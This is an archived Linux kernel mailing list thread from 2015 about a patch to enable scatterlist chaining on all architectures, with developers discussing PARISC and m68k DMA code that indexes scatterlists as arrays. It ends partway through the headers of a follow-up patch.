Approved: news@gmane.org
Message-ID: <1430273746.2181.49.camel@HansenPartnership.com>
References: <1429973776-7499-1-git-send-email-akinobu.mita@gmail.com>
	 <20150428142743.578d1c930aca013b596d7546@linux-foundation.org>
	 <1430259419.2181.26.camel@HansenPartnership.com>
	 <CAC5umyhM6s4dgJt6BQMhVihh3C8uYd+s2XEZB9UTQKK63OXxfQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1430273759 29855 80.91.229.3 (29 Apr 2015 02:15:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Apr 2015 02:15:59 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	"linux-scsi@vger.kernel.org" <linux-scsi@vger.kernel.org>,
	"Nicholas A. Bellinger" <nab@linux-iscsi.org>,
	target-devel@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Akinobu Mita <akinobu.mita@gmail.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Apr 29 04:15:52 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1YnHXT-0005hV-Mk
	for glka-linux-arch@plane.gmane.org; Wed, 29 Apr 2015 04:15:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1031333AbbD2CPt (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 28 Apr 2015 22:15:49 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34984 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1031377AbbD2CPs (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Tue, 28 Apr 2015 22:15:48 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8ADBE8EE1C5;
	Tue, 28 Apr 2015 19:15:47 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id QUpo4Q90AMec; Tue, 28 Apr 2015 19:15:47 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id DA6AE8EE1B9;
	Tue, 28 Apr 2015 19:15:46 -0700 (PDT)
In-Reply-To: <CAC5umyhM6s4dgJt6BQMhVihh3C8uYd+s2XEZB9UTQKK63OXxfQ@mail.gmail.com>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:27345 gmane.linux.kernel:1940175 gmane.linux.scsi:101208 gmane.linux.scsi.target.devel:8650 gmane.linux.ports.parisc:25711
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/27345>

On Wed, 2015-04-29 at 09:34 +0900, Akinobu Mita wrote:
> 2015-04-29 7:16 GMT+09:00 James Bottomley
> <James.Bottomley@hansenpartnership.com>:
> > On Tue, 2015-04-28 at 14:27 -0700, Andrew Morton wrote:
> >> On Sat, 25 Apr 2015 23:56:16 +0900 Akinobu Mita <akinobu.mita@gmail.com> wrote:
> >>
> >> > Some architectures enable sg chaining option while others do not.
> >> >
> >> > The requirement to enable sg chaining is that pages must be aligned
> >> > at a 32-bit boundary in order to overload the LSB of the pointer.
> >> > Regardless of whether ARCH_HAS_SG_CHAIN is defined or not, the above
> >> > requirement is always chacked by BUG_ON() in sg_assign_page.  So
> >> > all architectures can enable sg chaining.
> >> >
> >> > As you can see from the changes in drivers/target/target_core_rd.c,
> >> > enabling SG chaining for all architectures allows us to allocate
> >> > discontiguous scatterlist tables which can be traversed throughout
> >> > by sg_next() without a special handling for some architectures.
> >>
> >> Thanks, I'll grab this.  If anyone has concerns, speak now or hold both
> >> pieces!
> >
> > It breaks a host of architectures doesn't it?  I can specifically speak
> > for PARISC:  The problem is the way our iommus are consuming
> > scatterlists.  They're assuming we can dereference the scatterlist as an
> > array (like this code in ccio-dma.c):
> >
> > static int
> > ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
> >             enum dma_data_direction direction)
> > [...]
> >         for(i = 0; i < nents; i++)
> >                 prev_len += sglist[i].length;
> >
> > If you turn on sg chaining on our architecture, we'll run off the end of
> > that array dereference and crash.
> >
> > This can all be fixed by making our architecture dma mapping code use
> > iterators instead of array lists, but that needs more code than this
> > patch provides.  I assume there are similar issues on a lot of other
> > architectures, so before you can contemplate a patch like this, surely
> > all the architecture consumers have to be converted to iterator instead
> > of array format?
> >
> > The first place to start would be a survey of who's still using the
> > array format.
> 
> Agreed.  I could find similar issues in arch/m68k/kernel/dma.c.
> (git grep '[^a-z]sg++' shows that there are a lot of similar issues)

OK, so the original idea of the chained SG lists was that most of the
older architectures have fixed length lists for their IOMMUs, or simply
wouldn't see a benefit with IO lengths > 0.5MB (which was the default
before chaining) so there wasn't much point converting them to chaining
if they wouldn't see any benefit from it.

ARCH_HAS_SG_CHAIN is supposed to be completely transparent to all driver
side consumers, so there was never thought to be much point removing it.
It looks like there's some sort of cockup going on in the target driver
but otherwise, your removal patch is pretty empty, confirming this.

Perhaps the best thing to do is just fix target and call it quits?

James



From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <boaz@plexistor.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.scsi,gmane.linux.scsi.target.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] scatterlist: enable sg chaining for all architectures
Date: Wed, 29 Apr 2015 10:31:00 +0300
Lines: 15
Approved: news@gmane.org
Message-ID: <554088B4.2020804@plexistor.com>
References: <1429973776-7499-1-git-send-email-akinobu.mita@gmail.com>	 <20150428142743.578d1c930aca013b596d7546@linux-foundation.org>	 <1430259419.2181.26.camel@HansenPartnership.com>	 <CAC5umyhM6s4dgJt6BQMhVihh3C8uYd+s2XEZB9UTQKK63OXxfQ@mail.gmail.com> <1430273746.2181.49.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1430292684 20462 80.91.229.3 (29 Apr 2015 07:31:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Apr 2015 07:31:24 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	"linux-scsi@vger.kernel.org" <linux-scsi@vger.kernel.org>,
	"Nicholas A. Bellinger" <nab@linux-iscsi.org>,
	target-devel@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Akinobu Mita <akinobu.mita@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 29 09:31:15 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YnMSg-0002g0-Cl
	for glk-linux-kernel-3@plane.gmane.org; Wed, 29 Apr 2015 09:31:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966243AbbD2HbH (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 29 Apr 2015 03:31:07 -0400
Original-Received: from mail-wg0-f44.google.com ([74.125.82.44]:34717 "EHLO
	mail-wg0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S966130AbbD2HbE (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 29 Apr 2015 03:31:04 -0400
Original-Received: by wgso17 with SMTP id o17so18407261wgs.1
        for <linux-kernel@vger.kernel.org>; Wed, 29 Apr 2015 00:31:03 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:message-id:date:from:user-agent:mime-version:to
         :cc:subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=teNRGbSIP+bASfKLsLgjvk0LvMjnnnv1SfvtWMOhXOI=;
        b=V5/G6luf6/DVmWRJDYkddbaU7sue10g+VSdV1ybtV9GdIlEqwqsCuiR4x5rGchUDb6
         3IaWoSb0oQ4qJQZD31RS1uAZBCmJ+uLZH77RPEJPWsv853hZKaVDyj6vrLvec/ZGU1y/
         piVtEDRBCC8+4RC6QyTwIwgY4DiBRDjGaGinU03Qp8yyreLfSRAkY+JO0I3o6V0Wk7RZ
         nGDMRZkbd7cLnAPHtbv4x84Z1+ZqcPEKGXTcK7wbyPxcNQDDkDmSY4l7H94nP5GnTgNS
         NWvoBl4cxuAsE/399/hxOFzpWyBOsilfWuOg4yzfQ75n4VC/Xiii/uVuAx4eq+Oabq78
         B3Yw==
X-Gm-Message-State: ALoCoQmMdKJ3J4bboPUpu1EC00EqhlhUKr4sRhzDCrL8RNzleaQpOxi1ztsr9cjjVUDk74KS8hdb
X-Received: by 10.194.192.226 with SMTP id hj2mr16719073wjc.51.1430292663350;
        Wed, 29 Apr 2015 00:31:03 -0700 (PDT)
Original-Received: from [10.0.0.5] ([207.232.55.62])
        by mx.google.com with ESMTPSA id ln8sm37670480wjc.18.2015.04.29.00.31.01
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 29 Apr 2015 00:31:02 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.5.0
In-Reply-To: <1430273746.2181.49.camel@HansenPartnership.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1940266 gmane.linux.kernel.cross-arch:27349 gmane.linux.scsi:101214 gmane.linux.scsi.target.devel:8651 gmane.linux.ports.parisc:25712
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1940266>

On 04/29/2015 05:15 AM, James Bottomley wrote:
> 
> Perhaps the best thing to do is just fix target and call it quits?
> 

Right! drivers write code for sg_chaining and on ARCHs that do not
support it the code just works.
Only the max_sg is smaller and the chaining code never kicks in
and is dead code for these ARCHs.

> James

Cheers
Boaz


From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Nicholas A. Bellinger" <nab@linux-iscsi.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.scsi,gmane.linux.scsi.target.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] scatterlist: enable sg chaining for all architectures
Date: Thu, 30 Apr 2015 00:59:42 -0700
Lines: 82
Approved: news@gmane.org
Message-ID: <1430380782.24121.99.camel@haakon3.risingtidesystems.com>
References: <1429973776-7499-1-git-send-email-akinobu.mita@gmail.com>
	 <20150428142743.578d1c930aca013b596d7546@linux-foundation.org>
	 <1430259419.2181.26.camel@HansenPartnership.com>
	 <CAC5umyhM6s4dgJt6BQMhVihh3C8uYd+s2XEZB9UTQKK63OXxfQ@mail.gmail.com>
	 <1430273746.2181.49.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1430380799 18250 80.91.229.3 (30 Apr 2015 07:59:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2015 07:59:59 +0000 (UTC)
Cc: Akinobu Mita <akinobu.mita@gmail.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	"linux-scsi@vger.kernel.org" <linux-scsi@vger.kernel.org>,
	target-devel@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Apr 30 09:59:50 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1YnjNs-0008Mr-4B
	for glka-linux-arch@plane.gmane.org; Thu, 30 Apr 2015 09:59:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750794AbbD3H7q (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 30 Apr 2015 03:59:46 -0400
Original-Received: from mail.linux-iscsi.org ([67.23.28.174]:57570 "EHLO
	linux-iscsi.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750724AbbD3H7o (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 30 Apr 2015 03:59:44 -0400
Original-Received: from [192.168.1.67] (75-37-194-224.lightspeed.lsatca.sbcglobal.net [75.37.194.224])
	(using SSLv3 with cipher AES256-SHA (256/256 bits))
	(No client certificate requested)
	(Authenticated sender: nab)
	by linux-iscsi.org (Postfix) with ESMTPSA id 33A9822DA66;
	Thu, 30 Apr 2015 07:57:56 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=linux-iscsi.org;
	s=default.private; t=1430380677; bh=IrGlW9pHxvsDn831+fVAn9BXUBhA09s
	T3E3liLSawyA=; h=Message-ID:Subject:From:To:Cc:Date:In-Reply-To:
	 References:Content-Type:Mime-Version:Content-Transfer-Encoding;
	b=bKM6qPRdjHeBmmxtggSg/txxslda4MEllUHgpzaY4LaO+2C6tVJm5rSgX51SErfgc
	9SbM1BWF85IKbUEDAJFfhU48jomZkxJ6Fsg9RHItLhIBaX9uBOU/1dYHYGWrW45Agjg
	c2/CIsldhuF7j9NwJbkCnaUIrFCmunJWZ/CyUcM=
In-Reply-To: <1430273746.2181.49.camel@HansenPartnership.com>
X-Mailer: Evolution 3.4.4-1 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:27371 gmane.linux.kernel:1941150 gmane.linux.scsi:101230 gmane.linux.scsi.target.devel:8662 gmane.linux.ports.parisc:25713
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/27371>

On Tue, 2015-04-28 at 19:15 -0700, James Bottomley wrote:
> On Wed, 2015-04-29 at 09:34 +0900, Akinobu Mita wrote:
> > 2015-04-29 7:16 GMT+09:00 James Bottomley
> > <James.Bottomley@hansenpartnership.com>:
> > > On Tue, 2015-04-28 at 14:27 -0700, Andrew Morton wrote:
> > >> On Sat, 25 Apr 2015 23:56:16 +0900 Akinobu Mita <akinobu.mita@gmail.com> wrote:
> > >>
> > >> > Some architectures enable sg chaining option while others do not.
> > >> >
> > >> > The requirement to enable sg chaining is that pages must be aligned
> > >> > at a 32-bit boundary in order to overload the LSB of the pointer.
> > >> > Regardless of whether ARCH_HAS_SG_CHAIN is defined or not, the above
> > >> > requirement is always chacked by BUG_ON() in sg_assign_page.  So
> > >> > all architectures can enable sg chaining.
> > >> >
> > >> > As you can see from the changes in drivers/target/target_core_rd.c,
> > >> > enabling SG chaining for all architectures allows us to allocate
> > >> > discontiguous scatterlist tables which can be traversed throughout
> > >> > by sg_next() without a special handling for some architectures.
> > >>
> > >> Thanks, I'll grab this.  If anyone has concerns, speak now or hold both
> > >> pieces!
> > >
> > > It breaks a host of architectures doesn't it?  I can specifically speak
> > > for PARISC:  The problem is the way our iommus are consuming
> > > scatterlists.  They're assuming we can dereference the scatterlist as an
> > > array (like this code in ccio-dma.c):
> > >
> > > static int
> > > ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
> > >             enum dma_data_direction direction)
> > > [...]
> > >         for(i = 0; i < nents; i++)
> > >                 prev_len += sglist[i].length;
> > >
> > > If you turn on sg chaining on our architecture, we'll run off the end of
> > > that array dereference and crash.
> > >
> > > This can all be fixed by making our architecture dma mapping code use
> > > iterators instead of array lists, but that needs more code than this
> > > patch provides.  I assume there are similar issues on a lot of other
> > > architectures, so before you can contemplate a patch like this, surely
> > > all the architecture consumers have to be converted to iterator instead
> > > of array format?
> > >
> > > The first place to start would be a survey of who's still using the
> > > array format.
> > 
> > Agreed.  I could find similar issues in arch/m68k/kernel/dma.c.
> > (git grep '[^a-z]sg++' shows that there are a lot of similar issues)
> 
> OK, so the original idea of the chained SG lists was that most of the
> older architectures have fixed length lists for their IOMMUs, or simply
> wouldn't see a benefit with IO lengths > 0.5MB (which was the default
> before chaining) so there wasn't much point converting them to chaining
> if they wouldn't see any benefit from it.
> 
> ARCH_HAS_SG_CHAIN is supposed to be completely transparent to all driver
> side consumers, so there was never thought to be much point removing it.
> It looks like there's some sort of cockup going on in the target driver
> but otherwise, your removal patch is pretty empty, confirming this.
> 
> Perhaps the best thing to do is just fix target and call it quits?
> 

So the ARCH_HAS_SG_CHAIN usage in target_core_rd.c was recently added so
target DIF emulation could use standard SGL iterators and correctly
handle boundaries across T10-PI metadata SGL tables in the ramdisk
backend.

The SGLs in question are never actually mapped to a HW IOMMU, and
Akinobu's current changes in mainline do support both arch cases and
make common sbc_dif_copy_prot() code a bit simpler too.

That said, I'd rather to keep the hack around for now so that both
ARCH_HAS_SG_CHAIN types can still work, short of a full arch conversion
of course..

Thanks,

--nab


From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.scsi,gmane.linux.scsi.target.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] scatterlist: enable sg chaining for all architectures
Date: Thu, 30 Apr 2015 07:55:07 -0700
Lines: 85
Approved: news@gmane.org
Message-ID: <1430405707.2167.13.camel@HansenPartnership.com>
References: <1429973776-7499-1-git-send-email-akinobu.mita@gmail.com>
	 <20150428142743.578d1c930aca013b596d7546@linux-foundation.org>
	 <1430259419.2181.26.camel@HansenPartnership.com>
	 <CAC5umyhM6s4dgJt6BQMhVihh3C8uYd+s2XEZB9UTQKK63OXxfQ@mail.gmail.com>
	 <1430273746.2181.49.camel@HansenPartnership.com>
	 <1430380782.24121.99.camel@haakon3.risingtidesystems.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1430405726 25755 80.91.229.3 (30 Apr 2015 14:55:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2015 14:55:26 +0000 (UTC)
Cc: Akinobu Mita <akinobu.mita@gmail.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	"linux-scsi@vger.kernel.org" <linux-scsi@vger.kernel.org>,
	target-devel@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: "Nicholas A. Bellinger" <nab@linux-iscsi.org>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Apr 30 16:55:19 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Ynprw-0000va-OF
	for glka-linux-arch@plane.gmane.org; Thu, 30 Apr 2015 16:55:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752892AbbD3OzN (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 30 Apr 2015 10:55:13 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40599 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752891AbbD3OzK (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Thu, 30 Apr 2015 10:55:10 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C4F678EE1C5;
	Thu, 30 Apr 2015 07:55:09 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OlUtyA-vPmqU; Thu, 30 Apr 2015 07:55:09 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8517A8EE061;
	Thu, 30 Apr 2015 07:55:08 -0700 (PDT)
In-Reply-To: <1430380782.24121.99.camel@haakon3.risingtidesystems.com>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:27374 gmane.linux.kernel:1941582 gmane.linux.scsi:101266 gmane.linux.scsi.target.devel:8668 gmane.linux.ports.parisc:25714
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/27374>

On Thu, 2015-04-30 at 00:59 -0700, Nicholas A. Bellinger wrote:
> On Tue, 2015-04-28 at 19:15 -0700, James Bottomley wrote:
> > On Wed, 2015-04-29 at 09:34 +0900, Akinobu Mita wrote:
> > > 2015-04-29 7:16 GMT+09:00 James Bottomley
> > > <James.Bottomley@hansenpartnership.com>:
> > > > On Tue, 2015-04-28 at 14:27 -0700, Andrew Morton wrote:
> > > >> On Sat, 25 Apr 2015 23:56:16 +0900 Akinobu Mita <akinobu.mita@gmail.com> wrote:
> > > >>
> > > >> > Some architectures enable sg chaining option while others do not.
> > > >> >
> > > >> > The requirement to enable sg chaining is that pages must be aligned
> > > >> > at a 32-bit boundary in order to overload the LSB of the pointer.
> > > >> > Regardless of whether ARCH_HAS_SG_CHAIN is defined or not, the above
> > > >> > requirement is always chacked by BUG_ON() in sg_assign_page.  So
> > > >> > all architectures can enable sg chaining.
> > > >> >
> > > >> > As you can see from the changes in drivers/target/target_core_rd.c,
> > > >> > enabling SG chaining for all architectures allows us to allocate
> > > >> > discontiguous scatterlist tables which can be traversed throughout
> > > >> > by sg_next() without a special handling for some architectures.
> > > >>
> > > >> Thanks, I'll grab this.  If anyone has concerns, speak now or hold both
> > > >> pieces!
> > > >
> > > > It breaks a host of architectures doesn't it?  I can specifically speak
> > > > for PARISC:  The problem is the way our iommus are consuming
> > > > scatterlists.  They're assuming we can dereference the scatterlist as an
> > > > array (like this code in ccio-dma.c):
> > > >
> > > > static int
> > > > ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
> > > >             enum dma_data_direction direction)
> > > > [...]
> > > >         for(i = 0; i < nents; i++)
> > > >                 prev_len += sglist[i].length;
> > > >
> > > > If you turn on sg chaining on our architecture, we'll run off the end of
> > > > that array dereference and crash.
> > > >
> > > > This can all be fixed by making our architecture dma mapping code use
> > > > iterators instead of array lists, but that needs more code than this
> > > > patch provides.  I assume there are similar issues on a lot of other
> > > > architectures, so before you can contemplate a patch like this, surely
> > > > all the architecture consumers have to be converted to iterator instead
> > > > of array format?
> > > >
> > > > The first place to start would be a survey of who's still using the
> > > > array format.
> > > 
> > > Agreed.  I could find similar issues in arch/m68k/kernel/dma.c.
> > > (git grep '[^a-z]sg++' shows that there are a lot of similar issues)
> > 
> > OK, so the original idea of the chained SG lists was that most of the
> > older architectures have fixed length lists for their IOMMUs, or simply
> > wouldn't see a benefit with IO lengths > 0.5MB (which was the default
> > before chaining) so there wasn't much point converting them to chaining
> > if they wouldn't see any benefit from it.
> > 
> > ARCH_HAS_SG_CHAIN is supposed to be completely transparent to all driver
> > side consumers, so there was never thought to be much point removing it.
> > It looks like there's some sort of cockup going on in the target driver
> > but otherwise, your removal patch is pretty empty, confirming this.
> > 
> > Perhaps the best thing to do is just fix target and call it quits?
> > 
> 
> So the ARCH_HAS_SG_CHAIN usage in target_core_rd.c was recently added so
> target DIF emulation could use standard SGL iterators and correctly
> handle boundaries across T10-PI metadata SGL tables in the ramdisk
> backend.
>
> The SGLs in question are never actually mapped to a HW IOMMU, and
> Akinobu's current changes in mainline do support both arch cases and
> make common sbc_dif_copy_prot() code a bit simpler too.
> 
> That said, I'd rather to keep the hack around for now so that both
> ARCH_HAS_SG_CHAIN types can still work, short of a full arch conversion
> of course..

It looks like you might not have needed the hack if you'd used the
existing sg chain allocators ....

James



From - Thu Nov 08 21:37:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Akinobu Mita <akinobu.mita@gmail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v2 10/10] parisc: use for_each_sg()
Date: Fri,  1 May 2015 22:56:43 +0900
Lines: 94
Approved: news@gmane.org
Message-ID: <1430488603-11055-10-git-send-email-akinobu.mita@gmail.com>
References: <1430488603-11055-1-git-send-email-akinobu.mita@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1430488681 8611 80.91.229.3 (1 May 2015 13:58:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2015 13:58:01 +0000 (UTC)
Cc: Akinobu Mita <akinobu.mita@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-arch@vger.kernel.org
To: linux-kernel@vger.kernel.org, akpm@linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri May 01 15:57:52 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1YoBRw-0003Bb-E2
	for glka-linux-arch@plane.gmane.org; Fri, 01 May 2015 15:57:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753963AbbEAN5d (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 1 May 2015 09:57:33 -0400
Original-Received: from mail-pd0-f174.google.com ([209.85.192.174]:35828 "EHLO
	mail-pd0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753955AbbEAN5a (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 1 May 2015 09:57:30 -0400
Original-Received: by pdbqd1 with SMTP id qd1so93031661pdb.2;
        Fri, 01 May 2015 06:57:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=Fkqu8b/NUCwrXf/mHScnyLdia9yLhhTu13rm12kXMpo=;
        b=ePGm4ETiwFtRGcxN72WHt+9IraqEiwo06DkuNAZ0Zom0Jbmoh3JGtljxGOF6565llz
         tOeItEVGmovIay+lq3Z62E9R6g85f3e2DFQEcrkxXldLta79RpqgSzCadyptKvL7Fxg6
         RrD1hXVPdBjEqUlddIJlsU17ijxA+P83Ct5FogZCv2H/mVRzzBDE1aAhHU72xdTk/Ww8
         Gv1FyvNwnSSMQnKXHLMnJMMKBRt8a1N00X9guH7covT3Q/LnAtaetes8IQx5zmbmHHVw
         KerXJyvxVMF1QGpj+2Pea5oZX1AjQWcfcgogOxjrO9BodyxJYGSNB2sSXE4095H6PHRP
         9WGg==
X-Received: by 10.68.167.66 with SMTP id zm2mr18111642pbb.164.1430488649567;
        Fri, 01 May 2015 06:57:29 -0700 (PDT)
Original-Received: from localhost.localdomain (KD106168100169.ppp-bb.dion.ne.jp. [106.168.100.169])
        by mx.google.com with ESMTPSA id pd10sm4970781pdb.66.2015.05.01.06.57.26
